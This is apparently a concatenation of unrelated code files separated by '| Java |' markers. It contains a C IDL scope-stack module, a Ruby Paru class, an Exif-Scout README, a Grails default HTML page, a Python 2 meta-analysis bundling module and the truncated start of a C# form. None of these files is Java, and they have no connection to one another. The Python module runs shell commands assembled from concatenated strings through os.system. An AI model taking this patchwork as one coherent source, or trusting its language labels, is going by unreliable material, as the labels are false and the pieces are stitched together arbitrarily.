This modules handles the name scopes of objects by providing
a scope stack. Each time a name scope is defined, the name
is pushed on the stack. Each time the name scope is left,
the name is popped from the stack. Name scopes are defined
by the IDL definition "module <name>", "struct <name>" and
"union <name>".
*/
/* idl_scopeElement specifies a scope stack element where
"scopeName" specifies the name of the scope and "scopeType"
specifies the kind of scope, either "idl_tFile" which
is currently not used, "idl_tModule" for a module definition,
"idl_tStruct" for a structure definition and "idl_tUnion"
for a union definition.
*/
C_STRUCT(idl_scopeElement) {
c_char *scopeName;
idl_scopeType scopeType;
};
/* idl_scope specifies the scope stack where "stack" is an
array of "idl_scopeElement", "baseName" specifies the
basename of the file that contains the scope stack and
"scopePointer" specifies the actual top of the stack
(-1 specifies an empty stack).
*/
C_STRUCT(idl_scope) {
idl_scopeElement stack[IDL_MAXSCOPE];
c_char *baseName;
c_long scopePointer;
};
/* Create a new scope element with the specified name and type */
idl_scopeElement
idl_scopeElementNew (
const char *scopeName,
idl_scopeType scopeType)
{
idl_scopeElement element;
assert (scopeName);
assert (strlen(scopeName));
element = os_malloc ((size_t)C_SIZEOF(idl_scopeElement));
element->scopeName = os_strdup (scopeName);
element->scopeType = scopeType;
return element;
}
/* Free a scope element */
void
idl_scopeElementFree (
idl_scopeElement element)
{
assert (element);
os_free (element->scopeName);
os_free (element);
}
/* Create a copy of an existing scope element */
idl_scopeElement
idl_scopeElementDup (
idl_scopeElement element)
{
idl_scopeElement new_element;
assert (element);
new_element = os_malloc ((size_t)C_SIZEOF(idl_scopeElement));
new_element->scopeName = os_strdup (element->scopeName);
new_element->scopeType = element->scopeType;
return new_element;
}
/* Return the scope name related to a specific scope element */
c_char *
idl_scopeElementName (
idl_scopeElement element)
{
if (element) {
return element->scopeName;
}
return "";
}
/* Return the scope type related to a specific scope element */
idl_scopeType
idl_scopeElementType (
idl_scopeElement element)
{
if (element == NULL) {
/* Empty scope stack will deliver NULL scope element */
return idl_tModule;
}
return element->scopeType;
}
/* Create a new and empty scope stack, for a specified basename */
idl_scope
idl_scopeNew (
const char *baseName)
{
idl_scope scope = os_malloc ((size_t)C_SIZEOF(idl_scope));
scope->baseName = os_strdup (baseName);
scope->scopePointer = -1;
return scope;
}
/* Create a new and empty scope stack, for a specified basename */
idl_scope
idl_scopeDup (
idl_scope scope)
{
idl_scope newScope = idl_scopeNew(idl_scopeBasename(scope));
c_long si;
for (si = 0; si < (scope->scopePointer+1); si++) {
idl_scopePush (newScope, idl_scopeElementDup(scope->stack[si]));
}
return newScope;
}
/* Free a scope stack, also freeing all scope elements */
void
idl_scopeFree (
idl_scope scope)
{
c_long si;
assert (scope);
for (si = 0; si < (scope->scopePointer+1); si++) {
idl_scopeElementFree(scope->stack[si]);
}
os_free (scope->baseName);
os_free (scope);
return;
}
/* Push a scope element on the scope stack */
void
idl_scopePush (
idl_scope scope,
idl_scopeElement element
)
{
assert (scope);
assert (scope->scopePointer < IDL_MAXSCOPE);
assert (element);
scope->scopePointer++;
scope->stack[scope->scopePointer] = element;
}
/* Return the size of a scope stack (the amount of scope elements) */
c_long
idl_scopeStackSize (
idl_scope scope)
{
return (scope->scopePointer+1);
}
/* Remove the top element from a scope stack */
void
idl_scopePop (
idl_scope scope)
{
assert (scope);
assert (scope->scopePointer >= 0);
scope->scopePointer--;
}
/* Remove the top element from a scope stack, and free its resources */
void
idl_scopePopFree (
idl_scope scope)
{
assert (scope);
assert (scope->scopePointer >= 0);
idl_scopeElementFree(scope->stack[scope->scopePointer]);
scope->scopePointer--;
}
/* Return the top element from a scope stack */
idl_scopeElement
idl_scopeCur (
idl_scope scope)
{
assert (scope);
assert (scope->scopePointer >= -1);
if (scope->scopePointer == -1) {
return NULL;
}
return scope->stack[scope->scopePointer];
}
/* Return the element from a scope stack, by index
where "index" >= 0 and "index" <= "scopePointer"
*/
idl_scopeElement
idl_scopeIndexed (
idl_scope scope,
c_long index)
{
assert (index >= 0);
assert (index <= scope->scopePointer);
return scope->stack[index];
}
/* Determine if two scope stacks are equal */
c_bool
idl_scopeEqual (
idl_scope scope1,
idl_scope scope2)
{
c_long i;
/* If the "scopePointer"s are unequal, the stack do not equal */
if (scope1->scopePointer != scope2->scopePointer) {
return FALSE;
}
/* Per stack element compare the names, if any does not equal the stacks are unequal */
for (i = 0; i < (scope1->scopePointer + 1); i++) {
if (strcmp(idl_scopeElementName(scope1->stack[i]), idl_scopeElementName(scope2->stack[i])) != 0) {
return FALSE;
}
}
return TRUE;
}
/* Determine if a scope stack is contained by a second stack */
c_bool
idl_scopeSub (
idl_scope scope, /* moduleScope */
idl_scope scopeSub) /* keyScope */
{
c_long i;
/* If the "scopePointer" of the stack is higher than the "scopePointer" of the second
stack, the second stack can not contain the first stack
*/
if (scope->scopePointer > scopeSub->scopePointer) {
return FALSE;
}
/* For all scope elements of the stack with the scope elements of the second stack.
If one of them does not equal, the second stack can not contain the first.
The scope element types are not compared, this should not a real problem.
*/
for (i = 0; i < (scope->scopePointer + 1); i++) {
if (strcmp(idl_scopeElementName(scope->stack[i]), idl_scopeElementName(scopeSub->stack[i])) != 0) {
return FALSE;
}
}
return TRUE;
}
/* Build a textual representation of a scope stack with a
specified seperator and optionally add a user specified
identifier
*/
c_char *
idl_scopeStack (
idl_scope scope,
const char *scopeSepp,
const char *name)
{
c_long si;
c_char *scopeStack;
c_char *elName;
if (scope && (scope->scopePointer >= 0)) {
/* If the stack is not empty */
si = 0;
/* copy the first scope element name */
scopeStack = os_strdup (idl_scopeElementName(scope->stack[si]));
si++;
/* for all scope elements */
while (si <= scope->scopePointer) {
elName = idl_scopeElementName(scope->stack[si]);
/* allocate space for current scope stack +
separator + next scope name
*/
scopeStack = os_realloc (scopeStack, (size_t)(
(int)strlen(scopeStack)+
(int)strlen(scopeSepp)+
(int)strlen(elName)+1));
/* concatinate the separator */
os_strcat (scopeStack, scopeSepp);
/* concatinate scope name */
os_strcat (scopeStack, elName);
si++;
}
if (name) {
/* if a user identifier is specified,
allocate space for current scope stack +
separator + user identifier
*/
scopeStack = os_realloc (scopeStack, (size_t)(
(int)strlen(scopeStack)+
(int)strlen(scopeSepp)+
(int)strlen(name)+1));
/* concatinate the separator */
os_strcat (scopeStack, scopeSepp);
/* concatinate user identifier */
os_strcat (scopeStack, name);
}
} else {
/* Empty scope stack */
if (name) {
/* if a user identifier is specified,
copy the user identifier
*/
scopeStack = os_strdup (name);
} else {
/* make the scope stack representation empty */
scopeStack = os_strdup("");
}
}
/* return the scope stack represenation */
return scopeStack;
}
/* Return the basename related to a scope */
c_char *
idl_scopeBasename (
idl_scope scope)
{
return os_strdup(scope->baseName);
}
| Java |
#--
# Copyright 2015, 2016, 2017 Huub de Beer <Huub@heerdebeer.org>
#
# This file is part of Paru
#
# Paru is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Paru is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Paru. If not, see <http://www.gnu.org/licenses/>.
#++
require_relative "./inline.rb"
module Paru
module PandocFilter
# A Subscript inline node
class Subscript < Inline
end
end
end
| Java |
Exif-Scout
==========
The Exif-Scout is a C++ & Qt based GUI for offline searching through the exif-data of images with the power of regular expresions.

You can select various exiv-data as search parameters and the Exif-Scout searches through your offline media.
Exif-Scout is a program I have written as a university-class-project some years ago. I wanted to save it before it gets lost.
--project by Tim Luedtke (mail «at» timluedtke dot de)
--thanks to S. Steinmann, S. Brueckner, S. Walz, R. Kratou
WARNING
=======
This project is not yet in a working condition because the makefiles need to be adjusted. As a result of bad makefile generation (by eclipse) the makefiles have the needed directorys hardcoded (e.g. /usr/share/qt4/mkspecs/linux-g++). Therefore it is some work necessary before the project can be compiled for the first time after the years. Sorry for that - but thats over my makefile-knowledge for know... Some help here would be nice.
The Exiv2-Library may be needed on you system (http://www.exiv2.org/download.html).
FILES
=====
Makefile - was once used for comiling in linux
Makefile.Debug - was once used for comiling in Windows
Makefile.Release - was once used for comiling in Windows
exivdata.cpp - file used from the exiv2-library for reading out the exif-data from files
LICENCE
=======
This project is licensed under the GPLv3.
All images used in this project are selfmade by the projects author and licensed under the same license.
This project also uses parts of the Exiv2-Library (http://www.exiv2.org/).
| Java |
<?xml version="1.0" encoding="UTF-8"?>
<html lang="en" class="no-js ie8">
<!--<![endif]--> <head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
<title>
Mein Bookmanager
</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<link rel="shortcut icon" href="/bookmanager/static/images/favicon.ico" type="image/x-icon"/>
<link rel="apple-touch-icon" href="/bookmanager/static/images/apple-touch-icon.png"/>
<link rel="apple-touch-icon" sizes="114x114" href="/bookmanager/static/images/apple-touch-icon-retina.png"/>
<link rel="stylesheet" href="/bookmanager/static/css/main.css" type="text/css"/>
<link rel="stylesheet" href="/bookmanager/static/css/mobile.css" type="text/css"/>
<meta name="layout" content="main"/>
<style type="text/css" media="screen">
#status {
background-color: #eee;
border: .2em solid #fff;
margin: 2em 2em 1em;
padding: 1em;
width: 12em;
float: left;
-moz-box-shadow: 0px 0px 1.25em #ccc;
-webkit-box-shadow: 0px 0px 1.25em #ccc;
box-shadow: 0px 0px 1.25em #ccc;
-moz-border-radius: 0.6em;
-webkit-border-radius: 0.6em;
border-radius: 0.6em;
}
.ie6 #status {
display: inline; /* float double margin fix http://www.positioniseverything.net/explorer/doubled-margin.html */
}
#status ul {
font-size: 0.9em;
list-style-type: none;
margin-bottom: 0.6em;
padding: 0;
}
#status li {
line-height: 1.3;
}
#status h1 {
text-transform: uppercase;
font-size: 1.1em;
margin: 0 0 0.3em;
}
#page-body {
margin: 2em 1em 1.25em 18em;
}
h2 {
margin-top: 1em;
margin-bottom: 0.3em;
font-size: 1em;
}
p {
line-height: 1.5;
margin: 0.25em 0;
}
#controller-list ul {
list-style-position: inside;
}
#controller-list li {
line-height: 1.3;
list-style-position: inside;
margin: 0.25em 0;
}
@media screen and (max-width: 480px) {
#status {
display: none;
}
#page-body {
margin: 0 1em 1em;
}
#page-body h1 {
margin-top: 0;
}
}
</style>
</head>
<body>
<div id="grailsLogo" role="banner">
<a href="http://grails.org">
<img src="/bookmanager/static/images/grails_logo.png" alt="Grails"/>
</a>
</div>
<div class="nav" style="background-color: #9CAD6F;">
<ul>
<li>
<a href="/bookmanager/" class="home">
Start
</a>
</li>
<li>
<a href="/bookmanager/buchsuche/suchmaske" class="list">
Bücher Suche
</a>
</li>
<li>
<a href="/bookmanager/buch/index" class="list">
Bücher verwalten
</a>
</li>
<li>
<a href="/bookmanager/verlag/index" class="list">
Verlage verwalten
</a>
</li>
<li>
<a href="/bookmanager/autor/index" class="list">
Autoren verwalten
</a>
</li>
</ul>
</div>
<a href="#page-body" class="skip">
Skip to content…
</a>
<div id="status" role="complementary">
<h1>
Status der Anwendung
</h1>
<ul>
<li>
App version: 0.1
</li>
<li>
Grails version: 2.3.5
</li>
<li>
Groovy version: 2.1.9
</li>
<li>
JVM version: 1.6.0_27
</li>
<li>
Reloading active: true
</li>
<li>
Controllers: 8
</li>
<li>
Domains: 3
</li>
<li>
Services: 4
</li>
<li>
Tag Libraries: 13
</li>
</ul>
<h1>
Installierte Plugins
</h1>
<ul>
<li>
logging - 2.3.5
</li>
<li>
i18n - 2.3.5
</li>
<li>
core - 2.3.5
</li>
<li>
restResponder - 2.3.5
</li>
<li>
dataBinding - 2.3.5
</li>
<li>
resources - 1.2.1
</li>
<li>
databaseMigration - 1.3.8
</li>
<li>
webxml - 1.4.1
</li>
<li>
jquery - 1.10.2.2
</li>
<li>
codeCoverage - 1.2.7
</li>
<li>
geb - 0.9.2
</li>
<li>
spock - 0.7
</li>
<li>
urlMappings - 2.3.5
</li>
<li>
servlets - 2.3.5
</li>
<li>
codecs - 2.3.5
</li>
<li>
dataSource - 2.3.5
</li>
<li>
controllers - 2.3.5
</li>
<li>
functionalTest - 2.0.RC1
</li>
<li>
mimeTypes - 2.3.5
</li>
<li>
filters - 2.3.5
</li>
<li>
domainClass - 2.3.5
</li>
<li>
controllersAsync - 2.3.5
</li>
<li>
converters - 2.3.5
</li>
<li>
hibernate - 3.6.10.7
</li>
<li>
groovyPages - 2.3.5
</li>
<li>
validation - 2.3.5
</li>
<li>
services - 2.3.5
</li>
<li>
scaffolding - 2.0.1
</li>
<li>
cache - 1.1.1
</li>
<li>
buildTestData - 2.1.2
</li>
</ul>
</div>
<div id="page-body" role="main">
<h1>
Mein Bookmanager
</h1>
<p>
Congratulations, you have successfully started your first Grails application! At the moment
this is the default page, feel free to modify it to either redirect to a controller or display whatever
content you may choose. Below is a list of controllers that are currently deployed in this application,
click on each to execute its default action:
</p>
<div id="controller-list" role="navigation">
<h2>
Verfügbare Controller:
</h2>
<ul>
<li class="controller">
<a href="/bookmanager/autor/index">
bookmanager.AutorController
</a>
</li>
<li class="controller">
<a href="/bookmanager/buch/index">
bookmanager.BuchController
</a>
</li>
<li class="controller">
<a href="/bookmanager/buchsuche/index">
bookmanager.BuchsucheController
</a>
</li>
<li class="controller">
<a href="/bookmanager/home/index">
bookmanager.HomeController
</a>
</li>
<li class="controller">
<a href="/bookmanager/verlag/index">
bookmanager.VerlagController
</a>
</li>
<li class="controller">
<a href="/bookmanager/functionaltesting/index">
com.grailsrocks.functionaltest.controllers.FunctionalTestDataAccessController
</a>
</li>
<li class="controller">
<a href="/bookmanager/selfTest/paramecho">
com.grailsrocks.functionaltest.controllers.test.SelfTestController
</a>
</li>
<li class="controller">
<a href="/bookmanager/dbdoc">
grails.plugin.databasemigration.DbdocController
</a>
</li>
</ul>
</div>
</div>
<div class="footer" role="contentinfo">
© 2009 - 2014 - exensio GmbH - Version 0.1
</div>
<div id="spinner" class="spinner" style="display:none;">
Loading…
</div>
<script src="/bookmanager/static/js/application.js" type="text/javascript">
</script>
</body>
</html>
| Java |
# -*- coding: utf-8 -*-
################################################################################
# Copyright 2014, Distributed Meta-Analysis System
################################################################################
"""Software structure for generating Monte-Carlo collections of results.
NOTE: Highest resolution regions are implicitly assumed to be
FIPS-coded counties, but the logic does not require them to be. FIPS
language should be replaced with generic ID references.
A key structure is the make_generator(fips, times, values) function.
make_generator is passed to the functions that iterate through
different weather forecasts, such as make_tar_ncdf. It is then called
with each location and daily weather data. fips is a single county
code, times is a list of yyyyddd formated date values, values is a
list of weather values.
The output of make_generator() is a generator, producing tuples (year,
effect), for whichever years an effect can be computed.
Output file structure:
Each bundle of output impact results of a given type and for a given
weather forecast are in a gzipped tar file containing a single
directory <name>, containing a separate csv file (an effect file) for each
region. The format of the csv file is:
year,<label>[,<other labels>]*
<year>,<impact>[,<prior calculated impact>]*
Basic processing logic:
Some functions, like find_ncdfs_allreal, discover collections of
forecasted variables (within the WDS directory structure), and provide
through enumerators. Variable collections are dictionaries {variable:
REFERENCE}, where REFERENCE may be a filename, a netCDF, or a
dictionary of {original: netCDF object, data: [days x counties],
times: [yyyyddd]}. [VRD]
Controllers (elsewhere) loop through these, and for each available
forecast call a make_tar_* function passing in a make_generator
function. The make_tar_* functions call make_generator with each
individual region, retrieving a set of results, and then package those
results into the output file format.
Temporary directories (characterized by random letters) are used to
hold the results as they're being generated (before being bundled into
tars).
"""
__copyright__ = "Copyright 2014, Distributed Meta-Analysis System"
__author__ = "James Rising"
__credits__ = ["James Rising"]
__maintainer__ = "James Rising"
__email__ = "jar2234@columbia.edu"
__status__ = "Production"
__version__ = "$Revision$"
# $Source$
import tarfile, os, csv, re, random, string
import numpy as np
try:
# this is required for nc4's, but we can wait to fail
from netCDF4 import Dataset
except:
pass
FIPS_COMPLETE = '__complete__' # special FIPS code for the last county
LATEX_STRING = '__latexstr__' # special FIPS code for making a LaTeX representation
### Effect Bundle Generation
## Temporary directory management
def enter_local_tempdir(prefix=''):
"""Create and set the working directory as a new temporary directory.
Returns the name of the temporary directory (to be passed to
exit_local_tempdir).
"""
suffix = ''.join(random.choice(string.lowercase) for i in range(6))
os.mkdir(prefix + suffix)
os.chdir(prefix + suffix)
return prefix + suffix
def exit_local_tempdir(tempdir, killit=True):
"""Return to the root output directory (and optionally delete the
temporary directory).
tempdir is the output of enter_local_tempdir.
"""
os.chdir("..")
if killit:
kill_local_tempdir(tempdir)
def kill_local_tempdir(tempdir):
"""Remove all contents of a temporary directory.
Call after exit_local_tempdir is called, only if killit=False.
"""
os.system("rm -r " + tempdir)
## General helper functions for creation
def send_fips_complete(make_generator):
"""Call after the last county of a loop of counties, to clean up any memory.
"""
print "Complete the FIPS"
try:
iterator = make_generator(FIPS_COMPLETE, None, None).next()
print "Success"
except StopIteration, e:
pass
except Exception, e:
print e
pass
def get_target_path(targetdir, name):
"""Helper function to use the targetdir directory if its provided.
"""
if targetdir is not None:
return os.path.join(targetdir, name)
else:
return name
def write_effect_file(path, fips, generator, collabel):
"""Write the effects for a single FIPS-coded county.
path: relative path for file
fips: the unique id of the region
generator: a enumerator of tuples/lists with individual rows
collabel: label for one (string) or more (list) columns after the
year column
"""
# Create the CSV file
with open(os.path.join(path, fips + '.csv'), 'wb') as csvfp:
writer = csv.writer(csvfp, quoting=csv.QUOTE_MINIMAL)
# Write the header row
if not isinstance(collabel, list):
writer.writerow(["year", collabel])
else:
writer.writerow(["year"] + collabel)
# Write all data rows
for values in generator:
writer.writerow(values)
## Top-level bundle creation functions
def make_tar_dummy(name, acradir, make_generator, targetdir=None, collabel="fraction"):
"""Constructs a tar of files for each county, using NO DATA.
Calls make_generator for each county, using a filename of
counties.
name: the name of the effect bundle.
acradir: path to the DMAS acra directory.
make_generator(fips, times, daily): returns an iterator of (year, effect).
targetdir: path to a final destination for the bundle
collabel: the label for the effect column
"""
tempdir = enter_local_tempdir()
os.mkdir(name) # directory for county files
# Generate a effect file for each county in regionsA
with open(os.path.join(acradir, 'regions/regionsANSI.csv')) as countyfp:
reader = csv.reader(countyfp)
reader.next() # ignore header
# Each row is a county
for row in reader:
fips = canonical_fips(row[0])
print fips
# Call generator (with no data)
generator = make_generator(fips, None, None)
if generator is None:
continue
# Construct the effect file
write_effect_file(name, fips, generator, collabel)
send_fips_complete(make_generator)
# Generate the bundle tar
target = get_target_path(targetdir, name)
os.system("tar -czf " + os.path.join("..", target) + ".tar.gz " + name)
# Remove the working directory
exit_local_tempdir(tempdir)
def make_tar_duplicate(name, filepath, make_generator, targetdir=None, collabel="fraction"):
"""Constructs a tar of files for each county that is described in
an existing bundle. Passes NO DATA to make_generator.
name: the name of the effect bundle.
filepath: path to an existing effect bundle
make_generator(fips, times, daily): returns an iterator of (year, effect).
targetdir: path to a final destination for the bundle
collabel: the label for the effect column
"""
tempdir = enter_local_tempdir()
os.mkdir(name)
# Iterate through all FIPS-titled files in the effect bundle
with tarfile.open(filepath) as tar:
for item in tar.getnames()[1:]:
fips = item.split('/')[1][0:-4]
print fips
# Call make_generator with no data
generator = make_generator(fips, None, None)
if generator is None:
continue
# Construct the effect file
write_effect_file(name, fips, generator, collabel)
send_fips_complete(make_generator)
# Generate the bundle tar
target = get_target_path(targetdir, name)
os.system("tar -czf " + os.path.join("..", target) + ".tar.gz " + name)
# Remove the working directory
exit_local_tempdir(tempdir)
def make_tar_ncdf(name, weather_ncdf, var, make_generator, targetdir=None, collabel="fraction"):
"""Constructs a tar of files for each county, describing yearly results.
name: the name of the effect bundle.
weather_ncdf: str for one, or {variable: filename} for calling
generator with {variable: data}.
var: str for one, or [str] for calling generator with {variable: data}
make_generator(fips, times, daily): returns an iterator of (year, effect).
targetdir: path to a final destination for the bundle, or a
function to take the data
collabel: the label for the effect column
"""
# If this is a function, we just start iterating
if hasattr(targetdir, '__call__'):
call_with_generator(name, weather_ncdf, var, make_generator, targetdir)
return
# Create the working directory
tempdir = enter_local_tempdir()
os.mkdir(name)
# Helper function for calling write_effect_file with collabel
def write_csv(name, fips, generator):
write_effect_file(name, fips, generator, collabel)
# Iterate through the data
call_with_generator(name, weather_ncdf, var, make_generator, write_csv)
# Create the effect bundle
target = get_target_path(targetdir, name)
os.system("tar -czf " + os.path.join("..", target) + ".tar.gz " + name)
# Remove the working directory
exit_local_tempdir(tempdir)
def yield_given(name, yyyyddd, weather, make_generator):
"""Yields (as an iterator) rows of the result of applying make_generator to the given weather.
name: the name of the effect bundle.
yyyyddd: YYYYDDD formated date values.
weather: a dictionary to call generator with {variable: data}.
make_generator(fips, times, daily): returns an iterator of (year, effect).
"""
generator = make_generator(0, yyyyddd, weather)
if generator is None:
return
# Call targetfunc with the result
for values in generator:
yield values
# Signal the end of the counties
send_fips_complete(make_generator)
def call_with_generator(name, weather_ncdf, var, make_generator, targetfunc):
"""Helper function for calling make_generator with each variable
set. In cases with multiple weather datasets, assumes all use the
same clock (sequence of times) and geography (sequence of
counties).
name: the name of the effect bundle.
weather_ncdf: str for one, or {variable: filename} for calling
generator with {variable: data}.
var: str for one, or [str] for calling generator with {variable: data}
make_generator(fips, times, daily): returns an iterator of (year, effect).
targetfunc: function(name, fips, generator) to handle results
"""
if isinstance(weather_ncdf, dict) and isinstance(var, list):
# In this case, we generate a dictionary of variables
weather = {}
times = None # All input assumed to have same clock
# Filter by the variables in var
for variable in var:
# Retrieve the netcdf object (rootgrp) and add to weather dict
if isinstance(weather_ncdf[variable], str):
# Open this up as a netCDF and read data into array
rootgrp = Dataset(weather_ncdf[variable], 'r+', format='NETCDF4')
weather[variable] = rootgrp.variables[variable][:,:]
elif isinstance(weather_ncdf[variable], dict):
# This is an {original, data, times} dictionary
rootgrp = weather_ncdf[variable]['original']
weather[variable] = weather_ncdf[variable]['data']
if 'times' in weather_ncdf[variable]:
times = weather_ncdf[variable]['times']
else:
# This is already a netcdf object
rootgrp = weather_ncdf[variable]
weather[variable] = rootgrp.variables[variable][:,:]
# Collect additional information from netcdf object
counties = rootgrp.variables['fips']
lats = rootgrp.variables['lat']
lons = rootgrp.variables['lon']
if times is None:
times = rootgrp.variables['time']
else:
# We just want a single variable (not a dictionary of them)
# Retrieve the netcdf object (rootgrp) and add to weather dict
if isinstance(weather_ncdf, str):
# Open this up as a netCDF and read into array
rootgrp = Dataset(weather_ncdf, 'r+', format='NETCDF4')
weather = rootgrp.variables[var][:,:]
elif isinstance(weather_ncdf, dict):
# This is an {original, data, times} dictionary
rootgrp = weather_ncdf['original']
weather = weather_ncdf['data']
else:
# This is already a netcdf object
rootgrp = weather_ncdf
weather = rootgrp.variables[var][:,:]
# Collect additional information from netcdf object
counties = rootgrp.variables['fips']
lats = rootgrp.variables['lat']
lons = rootgrp.variables['lon']
times = rootgrp.variables['time']
# Loop through counties, calling make_generator with each
for ii in range(len(counties)):
fips = canonical_fips(counties[ii])
print fips
# Extract the weather just for this county
if not isinstance(weather, dict):
daily = weather[:,ii]
else:
daily = {}
for variable in weather:
daily[variable] = weather[variable][:,ii]
# Call make_generator for this county
generator = make_generator(fips, times, daily, lat=lats[ii], lon=lons[ii])
if generator is None:
continue
# Call targetfunc with the result
targetfunc(name, fips, generator)
# Signal the end of the counties
send_fips_complete(make_generator)
def make_tar_ncdf_profile(weather_ncdf, var, make_generator):
"""Like make_tar_ncdf, except that just goes through the motions,
and only for 100 counties
weather_ncdf: str for one, or {variable: filename} for calling
generator with {variable: data}.
var: str for one, or [str] for calling generator with {variable: data}
"""
# Open a single netCDF if only one filename passed in
if isinstance(weather_ncdf, str):
# Collect the necessary info
rootgrp = Dataset(weather_ncdf, 'r+', format='NETCDF4')
counties = rootgrp.variables['fips']
lats = rootgrp.variables['lat']
lons = rootgrp.variables['lon']
times = rootgrp.variables['time']
weather = rootgrp.variables[var][:,:]
else:
# Open all netCDF referenced in var
weather = {} # Construct a dictionary of [yyyyddd x county] arrays
for variable in var:
rootgrp = Dataset(weather_ncdf[variable], 'r+', format='NETCDF4')
counties = rootgrp.variables['fips']
lats = rootgrp.variables['lat']
lons = rootgrp.variables['lon']
times = rootgrp.variables['time']
weather[variable] = rootgrp.variables[variable][:,:]
# Just do 100 counties
for ii in range(100):
# Always using 5 digit fips
fips = canonical_fips(counties[ii])
print fips
# Construct the input array for this county
if not isinstance(weather, dict):
daily = weather[:,ii]
else:
daily = {}
for variable in weather:
daily[variable] = weather[variable][:,ii]
# Generate the generator
generator = make_generator(fips, times, daily, lat=lats[ii], lon=lons[ii])
if generator is None:
continue
# Just print out the results
print "year", "fraction"
for (year, effect) in generator:
print year, effect
### Effect calculation functions
## make_generator functions
def load_tar_make_generator(targetdir, name, column=None):
"""Load existing data for additional calculations.
targetdir: relative path to a directory of effect bundles.
name: the effect name (so the effect bundle is at <targetdir>/<name>.tar.gz
"""
# Extract the existing tar into a loader tempdir
tempdir = enter_local_tempdir('loader-')
os.system("tar -xzf " + os.path.join("..", targetdir, name + ".tar.gz"))
exit_local_tempdir(tempdir, killit=False)
def generate(fips, yyyyddd, temps, *args, **kw):
# When all of the counties are done, kill the local dir
if fips == FIPS_COMPLETE:
print "Remove", tempdir
# We might be in another tempdir-- check
if os.path.exists(tempdir):
kill_local_tempdir(tempdir)
else:
kill_local_tempdir(os.path.join('..', tempdir))
return
# Open up the effect for this bundle
fipspath = os.path.join(tempdir, name, fips + ".csv")
if not os.path.exists(fipspath):
fipspath = os.path.join('..', fipspath)
if not os.path.exists(fipspath):
# If we can't find this, just return a single year with 0 effect
print fipspath + " doesn't exist"
yield (yyyyddd[0] / 1000, 0)
raise StopIteration()
with open(fipspath) as fp:
reader = csv.reader(fp)
reader.next() # ignore header
# yield the same values that generated this effect file
for row in reader:
if column is None:
yield [int(row[0])] + map(float, row[1:])
else:
yield (int(row[0]), float(row[column]))
return generate
### Aggregation from counties to larger regions
def aggregate_tar(name, scale_dict=None, targetdir=None, collabel="fraction", get_region=None, report_all=False):
"""Aggregates results from counties to larger regions.
name: the name of an impact, already constructed into an effect bundle
scale_dict: a dictionary of weights, per county
targetdir: directory holding both county bundle and to hold region bundle
collabel: Label for result column(s)
get_region: either None (uses first two digits of FIPS-- aggregates to state),
True (combine all counties-- aggregate to national),
or a function(fips) => code which aggregates each set of counties producing the same name
report_all: if true, include a whole sequence of results; otherwise, just take first one
"""
# Get a region name and a get_region function
region_name = 'region' # final bundle will use this as a suffix
if get_region is None: # aggregate to state
get_region = lambda fips: fips[0:2]
region_name = 'state'
elif get_region is True: # aggregate to nation
get_region = lambda fips: 'national'
region_name = 'national'
else:
# get a title, if get_region returns one for dummy-fips "_title_"
try:
title = get_region('_title_')
if title is not None:
region_name = title
except:
pass
regions = {} # {region code: {year: (numer, denom)}}
# This is the effect bundle to aggregate
target = get_target_path(targetdir, name)
# Generate a temporary directory to extract county results
tempdir = enter_local_tempdir()
# Extract all of the results
os.system("tar -xzf " + os.path.join("..", target) + ".tar.gz")
# Go through all counties
for filename in os.listdir(name):
# If this is a county file
match = re.match(r'(\d{5})\.csv', filename)
if match:
code = match.groups(1)[0] # get the FIPS code
# Check that it's in the scale_dict
if scale_dict is not None and code not in scale_dict:
continue
# Check which region it is in
region = get_region(code)
if region is None:
continue
# Prepare the dictionary of results for this region, if necessary
if region not in regions:
regions[region] = {} # year => (numer, denom)
# Get out the current dictioanry of years
years = regions[region]
# Go through every year in this effect file
with open(os.path.join(name, filename)) as csvfp:
reader = csv.reader(csvfp, delimiter=',')
reader.next()
if report_all: # Report entire sequence of results
for row in reader:
# Get the numerator and denominator for this weighted sum
if row[0] not in years:
numer, denom = (np.array([0] * (len(row)-1)), 0)
else:
numer, denom = years[row[0]]
# Add on one more value to the weighted sum
try:
numer = numer + np.array(map(float, row[1:])) * (scale_dict[code] if scale_dict is not None else 1)
denom = denom + (scale_dict[code] if scale_dict is not None else 1)
except Exception, e:
print e
# Put the weighted sum calculation back in for this year
years[row[0]] = (numer, denom)
else: # Just report the first result
for row in reader:
# Get the numerator and denominator for this weighted sum
if row[0] not in years:
numer, denom = (0, 0)
else:
numer, denom = years[row[0]]
# Add on one more value to the weighted sum
numer = numer + float(row[1]) * (scale_dict[code] if scale_dict is not None else 1)
denom = denom + (scale_dict[code] if scale_dict is not None else 1)
# Put the weighted sum calculation back in for this year
years[row[0]] = (numer, denom)
# Remove all county results from extracted tar
os.system("rm -r " + name)
# Start producing directory of region results
dirregion = name + '-' + region_name
if not os.path.exists(dirregion):
os.mkdir(dirregion)
# For each region that got a result
for region in regions:
# Create a new CSV effect file
with open(os.path.join(dirregion, region + '.csv'), 'wb') as csvfp:
writer = csv.writer(csvfp, quoting=csv.QUOTE_MINIMAL)
# Include a header row
if not isinstance(collabel, list):
writer.writerow(["year", collabel])
else:
writer.writerow(["year"] + collabel)
# Construct a sorted list of years from the keys of this region's dictionary
years = map(str, sorted(map(int, regions[region].keys())))
# For each year, output the weighted average
for year in years:
if regions[region][year][1] == 0: # the denom is 0-- never got a value
writer.writerow([year, 'NA'])
else:
# Write out the year's result
if report_all:
writer.writerow([year] + list(regions[region][year][0] / float(regions[region][year][1])))
else:
writer.writerow([year, float(regions[region][year][0]) / regions[region][year][1]])
# Construct the effect bundle
target = get_target_path(targetdir, dirregion)
os.system("tar -czf " + os.path.join("..", target) + ".tar.gz " + dirregion)
# Clean up temporary directory
exit_local_tempdir(tempdir)
| Java |
using Nikse.SubtitleEdit.Core.Common;
using Nikse.SubtitleEdit.Forms.Options;
using Nikse.SubtitleEdit.Logic;
using Nikse.SubtitleEdit.Logic.VideoPlayers;
using System;
using System.Text;
using System.Windows.Forms;
namespace Nikse.SubtitleEdit.Forms
{
public partial class VideoError : Form
{
public VideoError()
{
UiUtil.PreInitialize(this);
InitializeComponent();
